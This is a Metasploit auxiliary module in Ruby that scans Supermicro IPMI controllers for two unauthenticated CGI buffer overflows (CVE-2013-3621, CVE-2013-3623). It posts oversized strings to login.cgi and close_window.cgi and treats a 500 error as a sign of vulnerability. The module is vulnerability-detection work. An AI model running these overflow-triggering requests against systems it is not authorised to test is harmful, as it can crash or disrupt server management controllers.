156 lines
4.0 KiB
Ruby
156 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'uri'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Supermicro Onboard IPMI CGI Vulnerability Scanner',
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'Description' => %q{
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This module checks for known vulnerabilities in the CGI applications of
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Supermicro Onboard IPMI controllers. These issues currently include
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several unauthenticated buffer overflows in the login.cgi and close_window.cgi
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components.
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},
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'Author' =>
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[
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'hdm', # Discovery and analysis
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-3621' ],
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[ 'CVE', '2013-3623' ],
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[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities']
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],
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'DisclosureDate' => 'Nov 06 2013'))
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end
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def is_supermicro?
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res = send_request_cgi(
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{
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"uri" => "/",
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"method" => "GET"
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})
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if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./
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return true
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else
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return false
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end
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end
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def send_close_window_request(sess)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "/cgi/close_window.cgi",
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'encode_params' => false,
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'vars_post' => {
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'sess_sid' => sess
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}
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})
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return res
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end
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def check_close_window
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safe_check = Rex::Text.rand_text_alpha(20)
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trigger_check = Rex::Text.rand_text_alpha(132)
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res = send_close_window_request(safe_check)
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unless res and res.code == 200 and res.body.to_s =~ /Can't find action/
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return false
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end
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res = send_close_window_request(trigger_check)
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unless res and res.code == 500
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return false
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end
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return true
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end
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def send_login_request(name)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "/cgi/login.cgi",
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'encode_params' => false,
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'vars_post' => {
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'name' => name,
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'pwd' => Rex::Text.rand_text_alpha(4)
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}
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})
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return res
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end
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def check_login
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safe_check = Rex::Text.rand_text_alpha(20)
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trigger_check = Rex::Text.rand_text_alpha(300)
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res = send_login_request(safe_check)
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unless res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./ and res.body.to_s =~ /top\.location\.href = location\.href/
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return false
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end
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res = send_login_request(trigger_check)
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unless res and res.code == 500
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return false
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end
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return true
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end
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def run_host(ip)
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vprint_status("Checking if it's a Supermicro IPMI web interface...")
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if is_supermicro?
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vprint_good("Supermicro IPMI web interface found")
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else
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vprint_error("Supermicro IPMI web interface not found")
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return
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end
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vprint_status("Checking CVE-2013-3621 (login.gi Buffer Overflow) ...")
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result = check_login
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if result
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print_good("Vulnerable to CVE-2013-3621 (login.cgi Buffer Overflow)")
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report_vuln({
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:host => rhost,
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:port => rport,
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:proto => 'tcp',
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:name => "Supermicro Onboard IPMI login.cgi Buffer Overflow",
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:refs => self.references.select do |ref| ref.ctx_val == "2013-3621" end
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})
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end
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vprint_status("Checking CVE-2013-3623 (close_window.gi Buffer Overflow) ...")
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result = check_close_window
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if result
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print_good("Vulnerable to CVE-2013-3623 (close_window.cgi Buffer Overflow)")
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report_vuln({
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:host => rhost,
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:port => rport,
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:proto => 'tcp',
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:name => "Supermicro Onboard IPMI close_window.cgi Buffer Overflow",
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:refs => self.references.select { |ref| ref.ctx_val == "2013-3623" }
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})
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end
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end
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end
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